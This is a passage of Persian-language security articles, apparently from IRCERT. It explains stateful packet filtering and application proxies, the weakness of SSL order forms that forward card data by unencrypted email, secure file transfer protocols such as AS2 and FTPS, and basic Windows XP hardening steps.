هکرها در مرحله آماده سازی برای حمله، به جمع آوری اطلاعات در مورد سیستم شما می پردازند. یک روش معمول ارسال یک بسته در یک وضعیت غلط به منظوری خاص است. برای مثال، یک بسته با عنوان پاسخ (Reply) به سیستمی که تقاضایی نکرده، می فرستند. معمولاً، کامپیوتر دریافت کننده بیاید پیامی بفرستد و بگوید “I don’t understand” . به این ترتیب، به هکر نشان می دهد که وجود دارد، و آمادگی برقراری ارتباط دارد. بعلاوه، قالب پاسخ می تواند سیستم عامل مورد استفاده را نیز مشخص کند، و برای یک هکر گامی به جلو باشد. یک فیلتر Stateful packet منطق یک ارتباط TCP/IP را می فهمد و می تواند یک “Reply” را که پاسخ به یک تقاضا نیست، مسدود کند ـــ آنچه که یک فیلتر packet ردگیری نمی کند و نمی تواند انجام دهد. فیلترهای Stateful packet می توانند در همان لحظه قواعدی را مبنی بر اینکه بسته مورد انتظار در یک ارتباط عادی چگونه باید بنظر رسد، برای پذیرش یا رد بسته بعدی تعیین کنند. فایده این کار امنیت محکم تر است. این امنیت محکم تر، بهرحال، تا حدی باعث کاستن از کارایی می شود. نگاهداری لیست قواعد ارتباط بصورت پویا برای هر ارتباط و فیلترکردن دیتای بیشتر، حجم پردازشی بیشتری به این نوع فیلتر اضافه می کند.

پراکسی ها یا Application Gateways

Application Gateways که عموماً پراکسی نامیده می شود، پیشرفته ترین روش استفاده شده برای کنترل ترافیک عبوری از فایروال ها هستند. پراکسی بین کلاینت و سرور قرار می گیرد و تمام جوانب گفتگوی بین آنها را برای تایید تبعیت از قوانین برقرار شده، می سنجد. پراکسی بار واقعی تمام بسته های عبوری بین سرور و کلاینت را می سنجد، و می تواند چیزهایی را که سیاستهای امنیتی را نقض می کنند، تغییر دهد یا محروم کند. توجه کنید که فیلترهای بسته ها فقط headerها را می سنجند، در حالیکه پراکسی ها محتوای بسته را با مسدود کردن کدهای آسیب رسان همچون فایلهای اجرایی، اپلت های جاوا، ActiveX و ... غربال می کنند.

پراکسی ها همچنین محتوا را برای اطمینان از اینکه با استانداردهای پروتکل مطابقت دارند، می سنجند. برای مثال، بعضی اَشکال حمله کامپیوتری شامل ارسال متاکاراکترها برای فریفتن سیستم قربانی است؛ حمله های دیگر شامل تحت تاثیر قراردادن سیستم با دیتای بسیار زیاد است. پراکسی ها می توانند کاراکترهای غیرقانونی یا رشته های خیلی طولانی را مشخص و مسدود کنند. بعلاوه، پراکسی ها تمام اعمال فیلترهای ذکرشده را انجام می دهند. بدلیل تمام این مزیتها، پراکسی ها بعنوان یکی از امن ترین روشهای عبور ترافیک شناخته می شوند. آنها در پردازش ترافیک از فایروالها کندتر هستند زیرا کل بسته ها را پیمایش می کنند. بهرحال «کندتر» بودن یک عبارت نسبی است.

آیا واقعاً کند است؟ کارایی پراکسی بمراتب سریعتر از کارایی اتصال اینترنت کاربران خانگی و سازمانهاست. معمولاً خود اتصال اینترنت گلوگاه سرعت هر شبکه ای است. پراکسی ها باعث کندی سرعت ترافیک در تست های آزمایشگاهی می شوند اما باعث کندی سرعت دریافت کاربران نمی شوند. در شماره بعد بیشتر به پراکسی خواهیم پرداخت.


﻿ IRCERT - کاربرد پراکسی در امنیت شبکه (۲) - مقالات

کاربرد پراکسی در امنیت شبکه (۲)

در مقایسه فایروال‌ها، ما مفهومی از پراکسی ارائه می‌دهیم و پراکسی را از فیلترکننده بسته‌ها متمایز می‌کنیم. با پیش‌زمینه‌ای که از پراکسی در شماره قبل بیان کردیم، می‌توانیم در اینجا مزایای پراکسی‌ها بعنوان ابزاری برای امنیت را لیست کنیم:

· با مسدود کردن روش‌های معمول مورد استفاده در حمله‌ها، هک‌کردن شبکه شما را مشکل‌تر می‌کنند.

· با پنهان کردن جزئیات سرورهای شبکه شما از اینترنت عمومی، هک‌کردن شبکه شما را مشکل‌تر می‌کنند.

· با جلوگیری از ورود محتویات ناخواسته و نامناسب به شبکه شما، استفاده از پهنای باند شبکه را بهبود می‌بخشند.

· با ممانعت از یک هکر برای استفاده از شبکه شما بعنوان نقطه‌ شروعی برای حمله دیگر، از میزان این نوع مشارکت می‌کاهند.

· با فراهم‌آوردن ابزار و پیش‌فرض‌هایی برای مدیر شبکه شما که می‌توانند بطور گسترده‌ای استفاده شوند، می‌توانند مدیریت شبکه شما را آسان سازند.

بطور مختصر می‌توان این مزایا را اینگونه بیان کرد؛ پراکسی‌ها به شما کمک می‌کنند که شبکه‌تان را با امنیت بیشتر، موثرتر و اقتصادی‌تر مورد استفاده قرار دهید. بهرحال در ارزیابی یک فایروال، این مزایا به فواید اساسی تبدیل می‌شوند که توجه جدی را می‌طلبند.

برخی انواع پراکسی

تا کنون به پراکسی بصورت یک کلاس عمومی تکنولوژی پرداختیم. در واقع، انواع مختلف پراکسی وجود دارد که هرکدام با نوع متفاوتی از ترافیک اینترنت سروکار دارند. در بخش بعد به چند نوع آن اشاره می‌کنیم و شرح می‌دهیم که هرکدام در مقابل چه نوع حمله‌ای مقاومت می‌کند.

البته پراکسی‌ها تنظیمات و ویژگی‌های زیادی دارند. ترکیب پراکسی‌ها و سایر ابزار مدیریت فایروال‌ها به مدیران شبکه شما قدرت کنترل امنیت شبکه تا بیشترین جزئیات را می‌دهد. در ادامه به پراکسی‌های زیر اشاره خواهیم کرد:

· SMTP Proxy

· HTTP Proxy

· FTP Proxy

· DNS Proxy

SMTP Proxy

‌پراکسی SMTP (Simple Mail Transport Protocol) محتویات ایمیل‌های وارد شونده و خارج‌شونده را برای محافظت از شبکه شما در مقابل خطر بررسی می‌کند. بعضی از تواناییهای آن اینها هستند:

· مشخص کردن بیشترین تعداد دریافت‌کنندگان پیام: این اولین سطح دفاع علیه اسپم (هرزنامه) است که اغلب به صدها یا حتی هزاران دریافت‌کننده ارسال می‌شود.

· مشخص کردن بزرگترین اندازه پیام: این به سرور ایمیل کمک می‌کند تا از بار اضافی و حملات بمباران توسط ایمیل جلوگیری کند و با این ترتیب می‌توانید به درستی از پهنای باند و منابع سرور استفاده کنید.

· اجازه دادن به کاراکترهای مشخص در آدرسهای ایمیل آنطور که در استانداردهای اینترنت پذیرفته شده است: چنانچه قبلاً اشاره شد، بعضی حمله‌ها بستگی به ارسال کاراکترهای غیرقانونی در آدرسها دارد. پراکسی می‌تواند طوری تنظیم شود که بجز به کاراکترهای مناسب به بقیه اجازه عبور ندهد.

· فیلترکردن محتوا برای جلوگیری از انواعی محتویات اجرایی: معمول‌ترین روش ارسال ویروس، کرم و اسب تروا فرستادن آنها در پیوست‌های به ظاهر بی‌ضرر ایمیل است. پراکسی SMTP می‌تواند این حمله‌ها را در یک ایمیل از طریق نام و نوع، مشخص و جلوگیری کند، تا آنها هرگز به شبکه شما وارد نشوند.

· فیلترکردن الگوهای آدرس برای ایمیل‌های مقبول\مردود: هر ایمیل شامل آدرسی است که نشان‌دهنده منبع آن است. اگر یک آدرس مشخص شبکه شما را با تعداد بیشماری از ایمیل مورد حمله قرار دهد، پراکسی می‌تواند هر چیزی از آن آدرس اینترنتی را محدود کند. در بسیاری موارد، پراکسی می‌تواند تشخیص دهد چه موقع یک هکر آدرس خود را جعل کرده است. از آنجا که پنهان کردن آدرس بازگشت تنها دلایل خصمانه دارد، پراکسی می‌تواند طوری تنظیم شود که بطور خودکار ایمیل جعلی را مسدود کند.

· فیلترکردن Headerهای ایمیل: ‌Headerها شامل دیتای انتقال مانند اینکه ایمیل از طرف کیست، برای کیست و غیره هستند. هکرها راه‌های زیادی برای دستکاری اطلاعات Header برای حمله به سرورهای ایمیل یافته‌اند. پراکسی مطمئن می‌شود که Headerها با پروتکل‌های اینترنتی صحیح تناسب دارند و ایمیل‌های دربردارنده headerهای تغییرشکل‌داده را مردود می‌کنند. پراکسی با اعمال سختگیرانه استانداردهای ایمیل نرمال، می‌تواند برخی حمله‌های آتی را نیز مسدود کند.

· تغییردادن یا پنهان‌کردن نامهای دامنه و IDهای پیام‌ها: ایمیل‌هایی که شما می‌فرستید نیز مانند آنهایی که دریافت می‌کنید، دربردارنده دیتای header هستند. این دیتا بیش از آنچه شما می‌خواهید دیگران درباره امور داخلی شبکه شما بدانند، اطلاعات دربردارند. پراکسی SMTP می‌تواند بعضی از این اطلاعات را پنهان کند یا تغییر دهد تا شبکه شما اطلاعات کمی در اختیار هکرهایی قرار دهد که برای وارد شدن به شبکه شما دنبال سرنخ می‌گردند.

در شماره بعد بررسی انواع دیگر پراکسی را ادامه خواهیم داد.


﻿ IRCERT - کاربرد پراکسی در امنیت شبکه (۳) - مقالات

کاربرد پراکسی در امنیت شبکه (۳)

در شماره های قبل به پراکسی سرور، مقایسه پراکسی و فایروال و پراکسی SMTP پرداختیم. به بررسی انواع دیگر پراکسی می پردازیم:

HTTP Proxy

این پراکسی بر ترافیک داخل شونده و خارج شونده از شبکه شما که توسط کاربرانتان برای دسترسی به World Wide Web ایجاد شده، نظارت می کند. این پراکسی برای مراقبت از کلاینت های وب شما و سایر برنامه ها که به دسترسی به وب از طریق اینترنت متکی هستند و نیز حملات برپایه HTML، محتوا را فیلتر می کند. بعضی از قابلیتهای آن اینها هستند:

· برداشتن اطلاعات اتصال کلاینت: این پراکسی می تواند آن قسمت از دیتای header را که نسخه سیستم عامل، نام و نسخه مرورگر، حتی آخرین صفحه وب دیده شده را فاش می کند، بردارد. در بعضی موارد، این اطلاعات حساس است، بنابراین چرا فاش شوند؟

· تحمیل تابعیت کامل از استانداردهای مقررشده برای ترافیک وب: در بسیاری از حمله ها، هکرها بسته های تغییرشکل داده شده را ارسال می کنند که باعث دستکاری عناصر دیگر صفحه وب می شوند، یا بصورتی دیگر با استفاده از رویکردی که ایجادکنندگان مرورگر پیش بینی نمی کردند، وارد می شوند. پراکسی HTTP این اطلاعات بی معنی را نمی پذیرد. ترافیک وب باید از استانداردهای وب رسمی پیروی کند، وگرنه پراکسی ارتباط را قطع می کند.

· فیلترکردن محتوای از نوع MIME : الگوهای MIME به مرورگر وب کمک می کنند تا بداند چگونه محتوا را تفسیر کند تا با یک تصویرگرافیکی بصورت یک گرافیک رفتار شود، یا .wav فایل بعنوان صوت پخش شود، متن نمایش داده شود و غیره. بسیاری حمله های وب بسته هایی هستند که در مورد الگوی MIME خود دروغ می گویند یا الگوی آن را مشخص نمی کنند. پراکسی HTTP این فعالیت مشکوک را تشخیص می دهد و چنین ترافیک دیتایی را متوقف می کند.

· فیلترکردن کنترلهای Java و ActiveX: برنامه نویسان از Java و ActiveX برای ایجاد برنامه های کوچک بهره می گیرند تا در درون یک مرورگر وب اجراء شوند (مثلاً اگر فردی یک صفحه وب مربوط به امور جنسی را مشاهده می کند، یک اسکریپت ActiveX روی آن صفحه می تواند بصورت خودکار آن صفحه را صفحه خانگی مرورگر آن فرد نماید). پراکسی می تواند این برنامه ها را مسدود کند و به این ترتیب جلوی بسیاری از حمله ها را بگیرد.

· برداشتن کوکی ها: پراکسی HTTP می تواند جلوی ورود تمام کوکی ها را بگیرد تا اطلاعات خصوصی شبکه شما را حفظ کند.

· برداشتن Headerهای ناشناس: پراکسی HTTP ، از headerهای HTTP که از استاندارد پیروی نمی کنند، ممانعت بعمل می آورد. یعنی که، بجای مجبور بودن به تشخیص حمله های برپایه علائمشان، پراکسی براحتی ترافیکی را که خارج از قاعده باشد، دور می ریزد. این رویکرد ساده از شما در مقابل تکنیک های حمله های ناشناس دفاع می کند.

· فیلترکردن محتوا: دادگاه ها مقررکرده اند که تمام کارمندان حق برخورداری از یک محیط کاری غیر خصمانه را دارند. بعضی عملیات تجاری نشان می دهد که بعضی موارد روی وب جایگاهی در شبکه های شرکت ها ندارند. پراکسی HTTP سیاست امنیتی شرکت شما را وادار می کند که توجه کند چه محتویاتی مورد پذیرش در محیط کاریتان است و چه هنگام استفاده نامناسب از اینترنت در یک محیط کاری باعث کاستن از بازده کاری می شود. بعلاوه، پراکسی HTTP می تواند سستی ناشی از فضای سایبر را کم کند. گروه های مشخصی از وب سایتها که باعث کم کردن تمرکز کارمندان از کارشان می شود، می توانند غیرقابل دسترس شوند.

FTP Proxy

بسیاری از سازمان ها از اینترنت برای انتقال فایل های دیتای بزرگ از جایی به جایی دیگر استفاده می کنند. در حالیکه فایل های کوچک تر می توانند بعنوان پیوست های ایمیل منتقل شوند، فایل های بزرگ تر توسط FTP (File Transfer Protocol) فرستاده می شوند. بدلیل اینکه سرورهای FTP فضایی را برای ذخیره فایل ها آماده می کنند، هکرها علاقه زیادی به دسترسی به این سرورها دارند. پراکسی FTP معمولاً این امکانات را دارد:

· محدودکردن ارتباطات از بیرون به «فقط خواندنی»: این عمل به شما اجازه می دهد که فایل ها را در دسترس عموم قرار دهید، بدون اینکه توانایی نوشتن فایل روی سرورتان را بدهید.

· محدود کردن ارتباطات به بیرون به «فقط خواندنی»: این عمل از نوشتن فایل های محرمانه شرکت به سرورهای FTP خارج از شبکه داخلی توسط کاربران جلوگیری می کند.

· مشخص کردن زمانی ثانیه های انقضای زمانی: این عمل به سرور شما اجازه می دهد که قبل از حالت تعلیق و یا Idle request ارتباط را قطع کند.

· ازکارانداختن فرمان FTP SITE : این از حمله هایی جلوگیری می کند که طی آن هکر فضایی از سرور شما را تسخیر می کند تا با استفاده از سیستم شما حمله بعدی خودش را پایه ریزی می کند.

DNS Proxy

DNS (Domain Name Server) شاید به اندازه HTTP یا SMTP شناخته شده نیست، اما چیزی است که به شما این امکان را می دهد که نامی را مانند http://www.ircert.com در مرورگر وب خود تایپ کنید و وارد این سایت شوید – بدون توجه به اینکه از کجای دنیا به اینترنت متصل شده اید. بمنظور تعیین موقعیت و نمایش منابعی که شما از اینترنت درخواست می کنید، DNS نام های دامنه هایی را که می توانیم براحتی بخاطر بسپاریم به آدرس IP هایی که کامپیوترها قادر به درک آن هستند، تبدیل می کند. در اصل این یک پایگاه داده است که در تمام اینترنت توزیع شده است و توسط نام دامنه ها فهرست شده است.

بهرحال، این حقیقت که این سرورها در تمام دنیا با مشغولیت زیاد در حال پاسخ دادن به تقاضاها برای صفحات وب هستند، به هکرها امکان تعامل و ارسال دیتا به این سرورها را برای درگیرکردن آنها می دهد. حمله های برپایه DNS هنوز خیلی شناخته شده نیستند، زیرا به سطحی از پیچیدگی فنی نیاز دارند که بیشتر هکرها نمی توانند به آن برسند. بهرحال، بعضی تکنیک های هک که میشناسیم باعث می شوند هکرها کنترل کامل را بدست گیرند. بعضی قابلیت های پراکسی DNS می تواند موارد زیر باشد:

· تضمین انطباق پروتکلی: یک کلاس تکنیکی بالای اکسپلویت می تواند لایه Transport را که تقاضاها و پاسخ های DNS را انتقال می دهد به یک ابزار خطرناک تبدیل کند. این نوع از حمله ها بسته هایی تغییرشکل داده شده بمنظور انتقال کد آسیب رسان ایجاد می کنند. پراکسی DNS، headerهای بسته های DNS را بررسی می کند و بسته هایی را که بصورت ناصحیح ساخته شده اند دور می ریزد و به این ترتیب جلوی بسیاری از انواع سوء استفاده را می گیرد.

· فیلترکردن محتوای headerها بصورت گزینشی: DNS در سال ۱۹۸۴ ایجاد شده و از آن موقع بهبود یافته است. بعضی از حمله های DNS بر ویژگی هایی تکیه می کنند که هنوز تایید نشده اند. پراکسی DNS می تواند محتوای header تقاضاهای DNS را بررسی کند و تقاضاهایی را که کلاس، نوع یا طول header غیرعادی دارند، مسدود کند.

نتیجه گیری

با مطالعه این مجموعه مقالات، تا حدی با پراکسی ها آشنا شدیم. پراکسی تمام ابزار امنیت نیست، اما یک ابزار عالیست، هنگامی که با سایر امنیت سنج ها! مانند ضدویروس های استاندارد، نرم افزارهای امنیتی سرور و سیستم های امنیتی فیزیکی بکار برده شود.


﻿ IRCERT - آیا معاملات اینترنتی امن، واقعاً امن هستند؟ - مقالات

آیا معاملات اینترنتی امن، واقعاً امن هستند؟

امروزه مرورگرها از تکنیکی به نام SSL (Secure Socket Layer) استفاده می کنند تا اطلاعاتی را که بین مرورگر شما و وب سرور مبادله می شود، رمزنگاری کنند. هنگامی که علامت «قفل» در گوشه پایین مرورگر نمایش داده می شود، به این معنی است که مرورگر ارتباط رمزشده امن با سرور برقرار کرده است و لذا ارسال دیتای حساس مانند شماره کارت اعتباری امن است. اما آیا واقعا این سیستم امن است و می توان از این طریق با اطمینان تراکنشهای حساس مالی را رد و بدل کرد؟ پاسخ این است که SSL فقط ارتباط بین مرورگر شما و وب سرور را امن می کند و برای محافظت از اطلاعات شما در آن سرور کاری انجام نمی دهد. در شرکت های بزرگ که می توانند سرورها و خطوط ارتباطی با ظرفیت های بالا را اختصاصی و برای ارتباط مستقیم تهیه کنند، تا جایی که شما بتوانید به شرکت اعتماد کنید، مشکلی ایجاد نخواهد شد. اما بسیاری از شرکت های کوچک تر توانایی تهیه سرور اختصاصی را ندارند. آنها از «میزبانی شخص ثالث» استفاده می کنند و این جایی است که عدم امنیت بوجود می آید. شما مجبورید به میزبانی که هیچ شناختی از آن ندارید، اطمینان کنید و به ایمن بودن نحوه دریافت اطلاعاتتان از آن میزبان توسط شرکت مورد نظرتان اعتماد کنید. اما تضمینی برای ایمن بودن این ارتباط نیست!

بیشتر میزبان های وب برای کلاینت های خود یک برنامه (CGI (Common Gateway Interface ارائه می دهند که FormMail نام دارد. آنچه که این برنامه انجام می دهد این است که محتوای یک فرم اینترنتی را، مانند فرمی که شما اطلاعات کارت اعتباری خود را در آن قرار می دهید، می گیرد و از طریق ایمیل به شرکت ارسال می کند. برای این ایمیل نه محافظتی وجود دارد و نه رمزنگاری صورت می گیرد.

آنچه که اتفاق می افتد این است که شرکتی که شما از آن خرید می کنید، ظاهری امن به خود می گیرد تا شما اطلاعات حساس را وارد کنید. سپس همان اطلاعات را از طریق ایمیل معمولی برای شرکت ارسال می کند. در واقع تمای این روال برای دادن یک احساس امنیت کاذب به شماست. بسیار هستند شرکت های کوچکی که سایتشان توسط شرکت های شخص ثالثی میزبانی می شود که ابداً سرویس های امن SSL ارائه نمی کنند.

پرسش هایی که مشتریان در ذهن شان ایجاد می شود، معمولاً در باره نحوه ارسال این اطلاعات و آگاه شدن خودشان از سفارش هایشان است و از طرف دیگر قرار دادن یک فرم امن آنها را قانع می کند که معامله با شرکت مورد نظر از طریق اینترنت امن است و به دانستن نکات دیگر توجهی نشان نمی دهند.

توجه کنید که خود شرکت ها می گویند «هدف یک فرم امن راضی کردن کاربران به وارد کردن جزئیات کارتشان است». با خود فکر کنید که اگر ایمیل کردن اطلاعات کارت اعتباریتان به شرکت بدون استفاده از رمزنگاری، امنیت کافی را دارد، چرا خودتان این کار را نکنید؟ آیا احساس امنیت خواهید کرد اگر بدانید که این شرکت (یا سایر شرکت های مشابه) سهواً شما را فریب می دهند که معاملات به این شکل امن است، در حالیکه نیست؟ هنوز، این شرکت ها مشتریانی دارند که به آنها پول می دهند تا به آنها این حس کاذب را بدهند.

ایمن کردن معاملات

با وجود تمام این شرکت هایی که به تاجران راه هایی ارائه می کنند تا به مشتریانشان این احساس کاذب امنیت را بدهند، یک شرکت کوچک بمنظور امن کردن واقعی معاملات، چه باید بکند؟ یک روش برای آن شرکت، استفاده از ایمیل های رمزشده مانند PGP است. نسخه هایی از FormMail وجود دارند که از ایمیل رمزشده PGP استفاده می کنند. در حالیکه بعضی از این روش استفاده می کنند، برای بعضی شرکتهای تجاری کوچک بدلیل نداشتن افراد خبره برای تنظیم و استفاده از PGP، این کار مشکل است. بعضی شرکت های میزبان اینترنت وجود دارند که بخش سرور این ارتباط را تنظیم می کنند، اما در طرف کلاینت که یک شرکت کوچک تجاری است باید بتواند PGP را روی کامپیوتر خود نصب و استفاده کند.

روش امن دیگر، ذخیره اطلاعات در پایگاه داده ای روی وب سرور اما در جایی است که از وب دسترسی مستقیم به آن ممکن نباشد. زمانی که شرکت میزبان اینترنت قابل اعتماد نیست و یا قصد دارید امنیت بیشتری را به وجود آورید، این پایگاه داده می تواند رمزنگاری شود. تاجران بعداً می توانند اطلاعات مربوط به معاملات را با استفاده از ارتباط رمزشده SSL خود بازیابی کنند. اما در این روش فروشنده باید بتواند سیستم امن را برای خود ایجاد کند. این عمل به میزان مشخصی از تواناییهای برنامه سازی احتیاج دارد تا اسکریپت های CGI برای استفاده از این سیستم نوشته شود.

بنابراین روند مورد نظر امن به این شکل خواهد بود؛ فرم سفارش امن است و اطلاعات بین کامپیوتر مشتری و سرور بصورت رمز شده خواهد بود. در سرور، اطلاعات بصورت رمزشده در یک پایگاه داده ذخیره می شود. سپس فروشنده از طریق ایمیل از رسیدن سفارش ها مطلع می شود (هیچ گونه اطلاعات مهم و حساس در ایمیل ها قرار ندارد) و بالاخره، فروشنده اطلاعات را از طریق یک ارتباط امن دیگر بازیابی می کند.

بنابراین، وقتی که را ههایی برای تامین امنیت واقعی برای معاملات وجود دارد، چگونه باید مشتری را مطلع کرد که معامله واقعاً امن است یا خیر؟ در حال حاضر راه ساده ای وجود ندارد. مشخصاً، شما می خواهید مطمئن شوید که فرم امن است، بعلاوه می خواهید مطمئن شوید که شرکت به شما حس کاذب امنیت نمی دهد و این حس واقعی است. یک راه این است که به سیاست های حریم خصوصی آن شرکت نگاهی بیندازید (البته با این فرض که چنین چیزی وجود دارد) و مطمئن شوید که در آن ذکر شده است که «اطلاعات کارت اعتباری هیچ مشتری هرگز بدون رمزنگاری از طریق اینترنت ارسال نخواهد شد.»

بهرحال، هنوز روش کاملی برای تضمین امن ماندن اطلاعات وجود ندارد. بنابراین به جمله Caveat Emptor می رسیم که «بگذارید خریدار خود آگاه و مواظب باشد.»


﻿ IRCERT - پروتکل های انتقال فایل امن - مقالات

پروتکل های انتقال فایل امن

در این مقاله برای شما بطور مختصر از پروتکل هایی خواهیم گفت که امکانFT یا (File Transfer) یا انتقال فایل را فراهم می آورند یا از بلوکهای سازنده پروتکل های ذکر شده در مقاله رمزنگاری در پروتکل های انتقال استفاده می کنند تا امکان FT امن را ایجاد کنند. درحالیکه پروتکلهای ذکر شده در مقاله مذکور سیستمهای امنیتی عمومی هستند که قابل کاربرد برای FT نیز هستند، آنچه در اینجا اشاره می شود، مشخصاً برای FT ایجاد شده اند:

AS2

AS2 (Applicability Statement 2) گونه ای EDI (Electronic Date Exchange) یا تبادل دیتای الکترونیکی (اگرچه به قالبهای EDI محدود نشده) برای استفاده های تجاری با استفاده از HTTP است. AS2 در حقیقت بسط یافته نسخه قبلی یعنی AS1 است. AS2 چگونگی تبادل دیتای تجاری را بصورت امن و مطمئن با استفاده از HTTP بعنوان پروتکل انتقال توصیف می کند. دیتا با استفاده از انواع محتوایی MIME استاندارد که XML، EDI ، دیتای باینری و هر گونه دیتایی را که قابل توصیف در MIME باشد، پشتیبانی می کند، بسته بندی می شود. امنیت پیام (تایید هویت و محرمانگی) با استفاده از S/MIME پیاده سازی می شود. AS1 در عوض از SMTP استفاده می کند. با AS2 و استفاده از HTTP یا HTTP/S ( HTTP با SSL) برای انتقال، ارتباط بصورت زمان حقیقی ممکن می شود تا اینکه از طریق ایمیل انجام گیرد. امنیت، تایید هویت، جامعیت پیام، و خصوصی بودن با استفاده از رمزنگاری و امضاهای دیجیتال تضمین می شود، که برپایه S/MIME هستند و نه SSL. استفاده از HTTP/S بجای HTTP استاندارد بدلیل امنیت ایجادشده توسط S/MIME کاملاً انتخابی است. استفاده از S/MIME اساس ویژگی دیگری یعنی انکارناپذیری را شکل می دهد، که امکان انکار پیام های ایجادشده یا فرستاده شده توسط کاربران را مشکل می سازد، یعنی یک شخص نمی تواند منکر پیامی شود که خود فرستاده است.

*برای FT :
 (File Transfer انتقال فایل یا)
AS2 مشخصاً برای درکنارهم قراردادن ویژگیهای امنیتی با انتقال فایل یعنی تایید هویت، رمزنگاری، انکارناپذیری توسط S/MIME و SSL انتخابی، طراحی شده است. از آنجا که AS2 یک پروتکل در حال ظهور است، سازمانها باید تولید کنندگان را به پشتیبانی سریع از آن تشویق کنند. قابلیت وجود انکارناپذیری در تراکنش های برپایه AS2 از اهمیت خاصی برای سازمانهایی برخوردار است که می خواهند پروسه های تجاری بسیار مهم را به سمت اینترنت سوق دهند. وجود قابلیت برای ثبت تراکنش پایدار و قابل اجراء برای پشتبانی از عملکردهای بسیار مهم مورد نیاز است. AS2 از MDN (Message Disposition Notification) بر پایه RFC 2298 استفاده می کند. MDN (که می تواند در اتصال به سایر پروتکل ها نیز استفاده شود) بر اساس محتوای MIME است که قابل خواندن توسط ماشین است و قابلیت آگاه سازی و اعلام وصول پیام را بوجود می آورد، که به این ترتیب اساس یک ردگیری نظارتی پایدار را فراهم می سازد.

(File Transfer Protocol) FTP

FTP یا پروتکل انتقال فایل به منظور انتقال فایل از طریق شبکه ایجاد گشته است، اما هیچ نوع رمزنگاری را پشتیبانی نمی کند. FTP حتی کلمات عبور را نیز بصورت رمزنشده انتقال می دهد، و به این ترتیب اجازه سوءاستفاده آسان از سیستم را می دهد. بسیاری سرویس ها FTP بی نام را اجراء می کنند که حتی نیاز به کلمه عبور را نیز مرتفع می سازد (اگرچه در این صورت کلمات عبور نمی توانند شنیده یا دزدیده شوند)

*برای FT:
FTP بعنوان یک روش امن مورد توجه نیست، مگر اینکه درون یک کانال امن مانند SSL یا IPSec قرار گیرد.
 گرایش زیادی به FTP امن یا FTP بر اساس SSL وجود دارد.
 (می‌توانید به SFTP و SSL مراجعه کنید)

FTPS و SFTP

SFTP به استفاده از FT بر روی یک کانال که با SSH امن شده، اشاره دارد، در حالیکه منظور از FTPS استفاده از FT بر روی SSL است. اگرچه SFTP دارای استفاده محدودی است، FTPS (که هر دو شکل FTP روی SSL و FTP روی TLS را بخود می گیرد) نوید کارایی بیشتری را می دهد. RFC 2228 (FTPS) رمزنگاری کانالهای دیتا را که برای ارسال تمام دیتا و کلمات عبور استفاده شده اند، ممکن می سازد اما کانالهای فرمان را بدون رمزنگاری باقی می گذارد (بعنوان کانال فرمان شفاف شناخته می شود). مزیتی که دارد این است که به فایروالهای شبکه های مداخله کننده اجازه آگاهی یافتن از برقراری نشست ها و مذاکره پورتها را می دهد. این امر به فایروال امکان تخصیص پورت پویا را می دهد، بنابراین امکان ارتباطات رمزشده فراهم می شود بدون اینکه نیاز به این باشد که تعداد زیادی از شکاف های دائمی در فایروال پیکربندی شوند.

اگرچه معمول ترین کاربردهای FTP ( مخصوصاً بسته های نرم افزاری کلاینت) هنوز کاملاً FTPS (FTP روی SSL) را پشتیبانی نمی کنند و پشتیبانی مرورگر برای SSL، برای استفاده کامل از مجموعه کامل فانکشن های RFC 2228 FTPS کافی نیست، اما این امر در حال پیشرفت است. بسیاری از تولیدکنندگان برنامه های کاربردی در حال استفاده از SSL استاندارد در کنار FTP استاندارد هستند. بنابراین، گرچه در بعضی موارد مسائل تعامل همچنان وجود دارند، اما امیدواری برای پشتیبانی گسترده از FT امن در ترکیب با SSL وجود دارد. (و حتی امیدواری برای پذیرش گسترده مجموعه کامل فانکشن های RFC 2228 FTPS)


﻿ IRCERT - مقالات - Windows XPبخش اول - ایمن سازی

ایمن سازی Windows XP (بخش 1)

جهت برقراری امنیت نسبی در Windows XP انجام دادن برخی تنظیمات و رعایت بعضی معیارها لازم است. این معیارها در سه سطح مقدماتی، متوسط و پیشرفته قابل دسته بندی است. نکاتی که در زیر ذکر می شود برای نسخه Windows XP Professional بوده و برخی موارد ذکر شده در نسخه Home Edition قابل انجام نیست.

الف) معیارهای مقدماتی امنیتی

1- امنیت فیزیکی

واضح است که جلوگیری از دسترسی فیزیکی افراد غیر مجاز به کامپیوتر ضرروی است و نادیده گرفتن این امر واضح، صحیح نیست. واقعیت این است که بیشترین نفوذ ها به سیستمهای کامپیوتری از درون سازمانها، ادارات یا شرکتها اتفاق می افتد. قفل کردن در اتاقی که کامپوتر در آن قرار دارد، استفاده از قفلهای ویژه برای case، قرار ندادن کلید قفل در کنار کامپیوتر و ... از جمله مواردی است که رعایت آنها اولین سطح امنیت را فراهم می کند.

2- استفاده از قابلیت NTFS

همه درایوهای سیستم خود را بصورت NTFS در آورید. سیستم فایل NTFS سریعتر از FAT32 بوده، امکان مجوز گذاری برای فایلها و پوشه ها را فراهم می کند. همچنین می توانید با امکان EFS اطلاعات خود را به رمز در آورید. برای تبدیل FAT32 به NTFS می توانید از دستور convert.exe و یا نرم افزارPartition Magic استفاده نمایید. (برای استفاده از دستور convert در command prompt بنویسید: convert driveletter: /fs:ntfs)

3- غیر فعال کردن Simple File Sharing

بطور پیش فرض، Windows XP کاربرانی را که می خواهند از طریق شبکه به کامپیوتر متصل شوند، مجبور میکند تا از طریق کاربر Guest وارد شوند. یعنی اگر بدون استفاده از یک فایروال امن به اینترنت متصل شوید، تقریبا هر کسی می تواند به فایلهای share روی کامپوتر شما دسترسی داشته باشد. برای غیر فعال کردن Simple File Sharing مراحل زیر را دنبال کنید :

• به Start > My Computer > Tools > Folder Options مراجعه کنید.
• دکمه View را انتخاب کنید.
• در بخش Advanced Setting علامت Use Simple File Sharing را بردارید و روی Apply کلیک کنید.

4- برای همه کاربران password بگذارید

یک نکته قابل توجه اینکه کاربر Administrator در بخش ControlPanel > User Accounts نمایش داده نمی شود و اگر هنگام نصب برای آن password تعیین نکرده باشیم، هر کسی به راحتی از راه دور یا نزدیک می تواند با مجوز administrator به دستگاه ما دسترسی داشته باشد. جهت گذاشتن password ، می توان از طریق زیر عمل نمود:

Control Panel > Administrative Tools > Computer Management > System Tools > Local Users and Groups > Users

5- استفاده با احتیاط از گروه Administrator

بجز موارد ضرروی برای کاربری که می خواهد با کامپیوتر شما کار کند اکانتی که در گروه administrator باشد درست نکنید. برای کار های معمول با دستگاه خود نیز یک اکانت عادی (limited) استفاده کنید.

6- غیر فعال کردن اکانت Guest

اکانت guest همواره یک روزنه محبوب به کامپیوتر شما برای نفوذگران به شمار می آید. حتی الامکان آنرا غیر فعال کنید و یا در صورت نیاز به وجود آن، یک password مشکل برای آن انتخاب کنید.

